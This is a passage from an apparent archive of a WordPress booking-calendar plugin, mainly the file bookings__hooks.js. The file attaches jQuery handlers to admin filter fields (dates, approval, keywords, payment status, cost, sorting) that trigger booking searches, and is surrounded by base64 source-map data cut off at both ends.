QUNRLElBQUksQ0FBRWpCLGVBQWUsQ0FBQ2tCLE1BQU0sQ0FBRVIsWUFBWSxFQUFHQyxnQkFBZ0IsR0FBR0QsWUFBYyxDQUFFLENBQUM7TUFFN0ZFLGNBQWMsR0FBR1osZUFBZSxDQUFDRyxXQUFXLENBQUMsQ0FBQyxDQUFDYSxPQUFPLENBQUUsR0FBRyxFQUFFTCxnQkFBaUIsQ0FBQztNQUUvRUYsV0FBVyxDQUFDUSxJQUFJLENBQUUsaURBQWlELEdBQUdqQixlQUFlLENBQUNrQixNQUFNLENBQUVQLGdCQUFnQixFQUFHQyxjQUFjLEdBQUdELGdCQUFrQixDQUFDLEdBQUcsU0FBVSxDQUFDO01BRW5LRCxZQUFZLEdBQUdFLGNBQWM7SUFDOUI7RUFBQyxTQUFBakosR0FBQTtJQUFBa0osU0FBQSxDQUFBeEosQ0FBQSxDQUFBTSxHQUFBO0VBQUE7SUFBQWtKLFNBQUEsQ0FBQXRKLENBQUE7RUFBQTtFQUVEa0osV0FBVyxDQUFDUSxJQUFJLENBQUVqQixlQUFlLENBQUNrQixNQUFNLENBQUVSLFlBQVksRUFBR1YsZUFBZSxDQUFDbEosTUFBTSxHQUFHNEosWUFBYyxDQUFFLENBQUM7RUFFbkcsT0FBT0QsV0FBVyxDQUFDVSxJQUFJLENBQUUsRUFBRyxDQUFDO0FBQzlCOztBQUVBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLFNBQVNDLHlCQUF5QkEsQ0FBRUMsSUFBSSxFQUFFO0VBQ3pDLElBQUlDLFFBQVEsR0FBR0MsUUFBUSxDQUFDQyxhQUFhLENBQUUsVUFBVyxDQUFDO0VBQ25ERixRQUFRLENBQUNHLFNBQVMsR0FBR0osSUFBSTtFQUN6QixPQUFPQyxRQUFRLENBQUNsSyxLQUFLO0FBQ3RCOztBQUVBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLFNBQVNzSyx5QkFBeUJBLENBQUNMLElBQUksRUFBRTtFQUN2QyxJQUFJQyxRQUFRLEdBQUdDLFFBQVEsQ0FBQ0MsYUFBYSxDQUFDLFVBQVUsQ0FBQztFQUNqREYsUUFBUSxDQUFDSyxTQUFTLEdBQUdOLElBQUk7RUFDekIsT0FBT0MsUUFBUSxDQUFDRyxTQUFTO0FBQzNCOztBQUdBO0FBQ0E7O0FBRUE7QUFDQTtBQUNBO0FBQ0EsU0FBU3hGLDhDQUE4Q0EsQ0FBQSxFQUFFO0VBQ3hEbEQsTUFBTSxDQUFFLDBEQUEwRCxDQUFDLENBQUM2SSxXQUFXLENBQUUsc0JBQXVCLENBQUM7QUFDMUc7O0FBRUE7QUFDQTtBQUNBO0FBQ0EsU0FBU3BFLDhDQUE4Q0EsQ0FBQSxFQUFFO0VBQ3hEekUsTUFBTSxDQUFFLDBEQUEyRCxDQUFDLENBQUM4SSxRQUFRLENBQUUsc0JBQXVCLENBQUM7QUFDeEc7O0FBRUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLFNBQVNDLDJDQUEyQ0EsQ0FBQSxFQUFFO0VBQ2xELElBQUsvSSxNQUFNLENBQUUsMERBQTJELENBQUMsQ0FBQ2dKLFFBQVEsQ0FBRSxzQkFBdUIsQ0FBQyxFQUFFO0lBQ2hILE9BQU8sSUFBSTtFQUNaLENBQUMsTUFBTTtJQUNOLE9BQU8sS0FBSztFQUNiO0FBQ0QiLCJpZ25vcmVMaXN0IjpbXX0= bookings__hooks.js 0000666 00000062536 15165577032 0010312 0 ustar 00 "use strict"; /** * Define HTML ui Hooks: on KeyUp | Change | -> Sort Order & Number Items / Page * * We are chnaged it once, because such elements always the same */ function wpbc_ajx_booking_define_ui_hooks_once() { //------------------------------------------------------------------------------------------------------------------ // Booked dates //------------------------------------------------------------------------------------------------------------------ jQuery('#wh_booking_date').on('change', function (event) { var changed_value = JSON.parse(jQuery('#wh_booking_date').val()); wpbc_ajx_booking_send_search_request_with_params({ 'wh_booking_date': changed_value, 'page_num': 1, // Frontend selected elements (saving for future use, after F5) 'ui_wh_booking_date_radio': jQuery('input[name="ui_wh_booking_date_radio"]:checked').val(), 'ui_wh_booking_date_next': jQuery('#ui_wh_booking_date_next').val(), 'ui_wh_booking_date_prior': jQuery('#ui_wh_booking_date_prior').val(), 'ui_wh_booking_date_checkin': jQuery('#ui_wh_booking_date_checkin').val(), 'ui_wh_booking_date_checkout': jQuery('#ui_wh_booking_date_checkout').val() }); }); //------------------------------------------------------------------------------------------------------------------ // Approved | Pending | All //------------------------------------------------------------------------------------------------------------------ jQuery('#wh_approved').on('change', function (event) { var changed_value = jQuery('#wh_approved').val(); changed_value = JSON.parse(changed_value); wpbc_ajx_booking_send_search_request_with_params({ 'wh_approved': changed_value[0], 'page_num': 1 }); }); //------------------------------------------------------------------------------------------------------------------ // Keywords //------------------------------------------------------------------------------------------------------------------ jQuery('#wpbc_search_field').on("keyup", function (event) { if (13 !== event.which) { wpbc_ajx_booking_searching_after_few_seconds('#wpbc_search_field'); // Searching after 1.5 seconds after Key Up } else { wpbc_ajx_booking_searching_after_few_seconds('#wpbc_search_field', 0); // Immediate search } }); //------------------------------------------------------------------------------------------------------------------ // Existing | Trash | Any //------------------------------------------------------------------------------------------------------------------ jQuery('#wh_trash').on('change', function (event) { var changed_value = JSON.parse(jQuery('#wh_trash').val()); wpbc_ajx_booking_send_search_request_with_params({ 'wh_trash': changed_value[0], 'page_num': 1 }); }); //------------------------------------------------------------------------------------------------------------------ // All bookings | New bookings //------------------------------------------------------------------------------------------------------------------ jQuery('#wh_what_bookings').on('change', function (event) { var changed_value = JSON.parse(jQuery('#wh_what_bookings').val()); wpbc_ajx_booking_send_search_request_with_params({ 'wh_what_bookings': changed_value[0], 'page_num': 1 }); }); //------------------------------------------------------------------------------------------------------------------ // "Creation Date" of bookings //------------------------------------------------------------------------------------------------------------------ jQuery('#wh_modification_date').on('change', function (event) { var changed_value = JSON.parse(jQuery('#wh_modification_date').val()); wpbc_ajx_booking_send_search_request_with_params({ 'wh_modification_date': changed_value, 'page_num': 1, // Frontend selected elements (saving for future use, after F5) 'ui_wh_modification_date_radio': jQuery('input[name="ui_wh_modification_date_radio"]:checked').val(), 'ui_wh_modification_date_prior': jQuery('#ui_wh_modification_date_prior').val(), 'ui_wh_modification_date_checkin': jQuery('#ui_wh_modification_date_checkin').val(), 'ui_wh_modification_date_checkout': jQuery('#ui_wh_modification_date_checkout').val() }); }); //------------------------------------------------------------------------------------------------------------------ // Payment Status //------------------------------------------------------------------------------------------------------------------ jQuery('#wh_pay_status').on('change', function (event) { var changed_value = JSON.parse(jQuery('#wh_pay_status').val()); wpbc_ajx_booking_send_search_request_with_params({ 'wh_pay_status': changed_value, 'page_num': 1, // Frontend selected elements (saving for future use, after F5) 'ui_wh_pay_status_radio': undefined === jQuery('input[name="ui_wh_pay_status_radio"]:checked').val() ? '' : jQuery('input[name="ui_wh_pay_status_radio"]:checked').val(), 'ui_wh_pay_status_custom': jQuery('#ui_wh_pay_status_custom').val() }); }); //------------------------------------------------------------------------------------------------------------------ // Min Cost //------------------------------------------------------------------------------------------------------------------ jQuery('#wh_cost').on('change', function (event) { var changed_value = jQuery('#wh_cost').val(); wpbc_ajx_booking_send_search_request_with_params({ 'wh_cost': changed_value, 'page_num': 1 }); }); //------------------------------------------------------------------------------------------------------------------ // Max Cost //------------------------------------------------------------------------------------------------------------------ jQuery('#wh_cost2').on('change', function (event) { var changed_value = jQuery('#wh_cost2').val(); wpbc_ajx_booking_send_search_request_with_params({ 'wh_cost2': changed_value, 'page_num': 1 }); }); //------------------------------------------------------------------------------------------------------------------ // Booking resources //------------------------------------------------------------------------------------------------------------------ jQuery('#wh_booking_type').on('change', function (event) { var changed_value = jQuery('#wh_booking_type').val(); // it's get as array if (Array.isArray(changed_value) && 0 === changed_value.length) { changed_value = ['-1']; } wpbc_ajx_booking_send_search_request_with_params({ 'wh_booking_type': changed_value, 'page_num': 1 }); }); //------------------------------------------------------------------------------------------------------------------ // Sorting //------------------------------------------------------------------------------------------------------------------ jQuery('#wh_sort').on('change', function (event) { var changed_value = jQuery('#wh_sort').val(); changed_value = JSON.parse(changed_value); wpbc_ajx_booking_send_search_request_with_params({ 'wh_sort': changed_value[0] }); }); } jQuery(document).ready(function () { wpbc_ajx_booking_define_ui_hooks_once(); }); //# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiaW5jbHVkZXMvcGFnZS1ib29raW5ncy9fb3V0L2Jvb2tpbmdzX19ob29rcy5qcyIsIm5hbWVzIjpbIndwYmNfYWp4X2Jvb2tpbmdfZGVmaW5lX3VpX2hvb2tzX29uY2UiLCJqUXVlcnkiLCJvbiIsImV2ZW50IiwiY2hhbmdlZF92YWx1ZSIsIkpTT04iLCJwYXJzZSIsInZhbCIsIndwYmNfYWp4X2Jvb2tpbmdfc2VuZF9zZWFyY2hfcmVxdWVzdF93aXRoX3BhcmFtcyIsIndoaWNoIiwid3BiY19hanhfYm9va2luZ19zZWFyY2hpbmdfYWZ0ZXJfZmV3X3NlY29uZHMiLCJ1bmRlZmluZWQiLCJBcnJheSIsImlzQXJyYXkiLCJsZW5ndGgiLCJkb2N1bWVudCIsInJlYWR5Il0sInNvdXJjZXMiOlsiaW5jbHVkZXMvcGFnZS1ib29raW5ncy9fc3JjL2Jvb2tpbmdzX19ob29rcy5qcyJdLCJzb3VyY2VzQ29udGVudCI6WyJcInVzZSBzdHJpY3RcIjtcclxuXHJcbi8qKlxyXG4gKiBEZWZpbmUgSFRNTCB1aSBIb29rczogb24gS2V5VXAgfCBDaGFuZ2UgfCAtPiBTb3J0IE9yZGVyICYgTnVtYmVyIEl0ZW1zIC8gUGFnZVxyXG4gKiAqIFdlIGFyZSBjaG5hZ2VkIGl0IG9uY2UsIGJlY2F1c2Ugc3VjaCAgZWxlbWVudHMgYWx3YXlzIHRoZSBzYW1lXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2FqeF9ib29raW5nX2RlZmluZV91aV9ob29rc19vbmNlKCl7XHJcblxyXG5cdC8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0Ly8gQm9va2VkIGRhdGVzXHJcblx0Ly8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRqUXVlcnkoICcjd2hfYm9va2luZ19kYXRlJyApLm9uKCAnY2hhbmdlJywgZnVuY3Rpb24oIGV2ZW50ICl7XHJcblxyXG5cdFx0dmFyIGNoYW5nZWRfdmFsdWUgPSBKU09OLnBhcnNlKCBqUXVlcnkoICcjd2hfYm9va2luZ19kYXRlJyApLnZhbCgpICk7XHJcblxyXG5cdFx0d3BiY19hanhfYm9va2luZ19zZW5kX3NlYXJjaF9yZXF1ZXN0X3dpdGhfcGFyYW1zKCB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd3aF9ib29raW5nX2RhdGUnOiBjaGFuZ2VkX3ZhbHVlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQncGFnZV9udW0nICAgICAgIDogMSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gRnJvbnRlbmQgc2VsZWN0ZWQgZWxlbWVudHMgKHNhdmluZyBmb3IgZnV0dXJlIHVzZSwgYWZ0ZXIgRjUpXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd1aV93aF9ib29raW5nX2RhdGVfcmFkaW8nICAgOiBqUXVlcnkoICdpbnB1dFtuYW1lPVwidWlfd2hfYm9va2luZ19kYXRlX3JhZGlvXCJdOmNoZWNrZWQnICkudmFsKCksXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd1aV93aF9ib29raW5nX2RhdGVfbmV4dCcgICAgOiBqUXVlcnkoICcjdWlfd2hfYm9va2luZ19kYXRlX25leHQnICkudmFsKCksXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd1aV93aF9ib29raW5nX2RhdGVfcHJpb3InICAgOiBqUXVlcnkoICcjdWlfd2hfYm9va2luZ19kYXRlX3ByaW9yJyApLnZhbCgpLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndWlfd2hfYm9va2luZ19kYXRlX2NoZWNraW4nIDogalF1ZXJ5KCAnI3VpX3doX2Jvb2tpbmdfZGF0ZV9jaGVja2luJyApLnZhbCgpLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndWlfd2hfYm9va2luZ19kYXRlX2NoZWNrb3V0JzogalF1ZXJ5KCAnI3VpX3doX2Jvb2tpbmdfZGF0ZV9jaGVja291dCcgKS52YWwoKVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fSApO1xyXG5cdH0gKTtcclxuXHJcblx0Ly8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHQvLyBBcHByb3ZlZCB8IFBlbmRpbmcgfCBBbGxcclxuXHQvLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdGpRdWVyeSggJyN3aF9hcHByb3ZlZCcgKS5vbiggJ2NoYW5nZScsIGZ1bmN0aW9uKCBldmVudCApe1xyXG5cclxuXHRcdHZhciBjaGFuZ2VkX3ZhbHVlID0galF1ZXJ5KCAnI3doX2FwcHJvdmVkJyApLnZhbCgpO1xyXG5cclxuXHRcdGNoYW5nZWRfdmFsdWUgPSBKU09OLnBhcnNlKCBjaGFuZ2VkX3ZhbHVlICk7XHJcblxyXG5cdFx0d3BiY19hanhfYm9va2luZ19zZW5kX3NlYXJjaF9yZXF1ZXN0X3dpdGhfcGFyYW1zKCB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd3aF9hcHByb3ZlZCc6IGNoYW5nZWRfdmFsdWVbIDAgXSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3BhZ2VfbnVtJyAgIDogMVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fSApO1xyXG5cdH0gKTtcclxuXHJcblx0Ly8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHQvLyBLZXl3b3Jkc1xyXG5cdC8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0alF1ZXJ5KCAnI3dwYmNfc2VhcmNoX2ZpZWxkJyApLm9uKCBcImtleXVwXCIsIGZ1bmN0aW9uICggZXZlbnQgKXtcclxuXHRcdGlmICggMTMgIT09IGV2ZW50LndoaWNoICl7XHJcblx0XHRcdHdwYmNfYWp4X2Jvb2tpbmdfc2VhcmNoaW5nX2FmdGVyX2Zld19zZWNvbmRzKCAnI3dwYmNfc2VhcmNoX2ZpZWxkJyApO1x0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gU2VhcmNoaW5nIGFmdGVyIDEuNSBzZWNvbmRzIGFmdGVyIEtleSBVcFxyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0d3BiY19hanhfYm9va2luZ19zZWFyY2hpbmdfYWZ0ZXJfZmV3X3NlY29uZHMoICcjd3BiY19zZWFyY2hfZmllbGQnLCAwICk7XHRcdFx0XHRcdFx0XHRcdFx0Ly8gSW1tZWRpYXRlIHNlYXJjaFxyXG5cdFx0fVxyXG5cdH0gKTtcclxuXHJcblx0Ly8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHQvLyBFeGlzdGluZyB8IFRyYXNoIHwgQW55XHJcblx0Ly8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRqUXVlcnkoICcjd2hfdHJhc2gnICkub24oICdjaGFuZ2UnLCBmdW5jdGlvbiggZXZlbnQgKXtcclxuXHJcblx0XHR2YXIgY2hhbmdlZF92YWx1ZSA9IEpTT04ucGFyc2UoIGpRdWVyeSggJyN3aF90cmFzaCcgKS52YWwoKSApO1xyXG5cclxuXHRcdHdwYmNfYWp4X2Jvb2tpbmdfc2VuZF9zZWFyY2hfcmVxdWVzdF93aXRoX3BhcmFtcygge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnd2hfdHJhc2gnOiBjaGFuZ2VkX3ZhbHVlWyAwIF0sXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdwYWdlX251bSc6IDFcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH0gKTtcclxuXHR9ICk7XHJcblxyXG5cdC8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0Ly8gQWxsIGJvb2tpbmdzIHwgTmV3IGJvb2tpbmdzXHJcblx0Ly8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRqUXVlcnkoICcjd2hfd2hhdF9ib29raW5ncycgKS5vbiggJ2NoYW5nZScsIGZ1bmN0aW9uKCBldmVudCApe1xyXG5cclxuXHRcdHZhciBjaGFuZ2VkX3ZhbHVlID0gSlNPTi5wYXJzZSggalF1ZXJ5KCAnI3doX3doYXRfYm9va2luZ3MnICkudmFsKCkgKTtcclxuXHJcblx0XHR3cGJjX2FqeF9ib29raW5nX3NlbmRfc2VhcmNoX3JlcXVlc3Rfd2l0aF9wYXJhbXMoIHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3doX3doYXRfYm9va2luZ3MnOiBjaGFuZ2VkX3ZhbHVlWyAwIF0sXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdwYWdlX251bSc6IDFcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH0gKTtcclxuXHR9ICk7XHJcblxyXG5cdC8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0Ly8gXCJDcmVhdGlvbiBEYXRlXCIgICBvZiBib29raW5nc1xyXG5cdC8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0alF1ZXJ5KCAnI3doX21vZGlmaWNhdGlvbl9kYXRlJyApLm9uKCAnY2hhbmdlJywgZnVuY3Rpb24oIGV2ZW50ICl7XHJcblxyXG5cdFx0dmFyIGNoYW5nZWRfdmFsdWUgPSBKU09OLnBhcnNlKCBqUXVlcnkoICcjd2hfbW9kaWZpY2F0aW9uX2RhdGUnICkudmFsKCkgKTtcclxuXHJcblx0XHR3cGJjX2FqeF9ib29raW5nX3NlbmRfc2VhcmNoX3JlcXVlc3Rfd2l0aF9wYXJhbXMoIHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3doX21vZGlmaWNhdGlvbl9kYXRlJzogY2hhbmdlZF92YWx1ZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3BhZ2VfbnVtJyAgICAgICA6IDEsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vIEZyb250ZW5kIHNlbGVjdGVkIGVsZW1lbnRzIChzYXZpbmcgZm9yIGZ1dHVyZSB1c2UsIGFmdGVyIEY1KVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndWlfd2hfbW9kaWZpY2F0aW9uX2RhdGVfcmFkaW8nICAgOiBqUXVlcnkoICdpbnB1dFtuYW1lPVwidWlfd2hfbW9kaWZpY2F0aW9uX2RhdGVfcmFkaW9cIl06Y2hlY2tlZCcgKS52YWwoKSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3VpX3doX21vZGlmaWNhdGlvbl9kYXRlX3ByaW9yJyAgIDogalF1ZXJ5KCAnI3VpX3doX21vZGlmaWNhdGlvbl9kYXRlX3ByaW9yJyApLnZhbCgpLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndWlfd2hfbW9kaWZpY2F0aW9uX2RhdGVfY2hlY2tpbicgOiBqUXVlcnkoICcjdWlfd2hfbW9kaWZpY2F0aW9uX2RhdGVfY2hlY2tpbicgKS52YWwoKSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3VpX3doX21vZGlmaWNhdGlvbl9kYXRlX2NoZWNrb3V0JzogalF1ZXJ5KCAnI3VpX3doX21vZGlmaWNhdGlvbl9kYXRlX2NoZWNrb3V0JyApLnZhbCgpXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9ICk7XHJcblx0fSApO1xyXG5cclxuXHQvLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdC8vIFBheW1lbnQgU3RhdHVzXHJcblx0Ly8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRqUXVlcnkoICcjd2hfcGF5X3N0YXR1cycgKS5vbiggJ2NoYW5nZScsIGZ1bmN0aW9uKCBldmVudCApe1xyXG5cclxuXHRcdHZhciBjaGFuZ2VkX3ZhbHVlID0gSlNPTi5wYXJzZSggalF1ZXJ5KCAnI3doX3BheV9zdGF0dXMnICkudmFsKCkgKTtcclxuXHJcblx0XHR3cGJjX2FqeF9ib29raW5nX3NlbmRfc2VhcmNoX3JlcXVlc3Rfd2l0aF9wYXJhbXMoIHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3doX3BheV9zdGF0dXMnOiBjaGFuZ2VkX3ZhbHVlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQncGFnZV9udW0nICAgICAgIDogMSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gRnJvbnRlbmQgc2VsZWN0ZWQgZWxlbWVudHMgKHNhdmluZyBmb3IgZnV0dXJlIHVzZSwgYWZ0ZXIgRjUpXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd1aV93aF9wYXlfc3RhdHVzX3JhZGlvJyA6ICggKCB1bmRlZmluZWQgPT09IGpRdWVyeSggJ2lucHV0W25hbWU9XCJ1aV93aF9wYXlfc3RhdHVzX3JhZGlvXCJdOmNoZWNrZWQnICkudmFsKCkgKVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0PyAnJ1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0OiBqUXVlcnkoICdpbnB1dFtuYW1lPVwidWlfd2hfcGF5X3N0YXR1c19yYWRpb1wiXTpjaGVja2VkJyApLnZhbCgpXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgICksXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd1aV93aF9wYXlfc3RhdHVzX2N1c3RvbSc6IGpRdWVyeSggJyN1aV93aF9wYXlfc3RhdHVzX2N1c3RvbScgKS52YWwoKVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fSApO1xyXG5cclxuXHJcblx0fSApO1xyXG5cclxuXHQvLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdC8vIE1pbiBDb3N0XHJcblx0Ly8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRqUXVlcnkoICcjd2hfY29zdCcgKS5vbiggJ2NoYW5nZScsIGZ1bmN0aW9uKCBldmVudCApe1xyXG5cclxuXHRcdHZhciBjaGFuZ2VkX3ZhbHVlID0galF1ZXJ5KCAnI3doX2Nvc3QnICkudmFsKCk7XHJcblxyXG5cdFx0d3BiY19hanhfYm9va2luZ19zZW5kX3NlYXJjaF9yZXF1ZXN0X3dpdGhfcGFyYW1zKCB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd3aF9jb3N0JyA6IGNoYW5nZWRfdmFsdWUsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdwYWdlX251bSc6IDFcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH0gKTtcclxuXHR9ICk7XHJcblxyXG5cdC8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0Ly8gTWF4IENvc3RcclxuXHQvLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdGpRdWVyeSggJyN3aF9jb3N0MicgKS5vbiggJ2NoYW5nZScsIGZ1bmN0aW9uKCBldmVudCApe1xyXG5cclxuXHRcdHZhciBjaGFuZ2VkX3ZhbHVlID0galF1ZXJ5KCAnI3doX2Nvc3QyJyApLnZhbCgpO1xyXG5cclxuXHRcdHdwYmNfYWp4X2Jvb2tpbmdfc2VuZF9zZWFyY2hfcmVxdWVzdF93aXRoX3BhcmFtcygge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnd2hfY29zdDInIDogY2hhbmdlZF92YWx1ZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3BhZ2VfbnVtJzogMVxyXG5c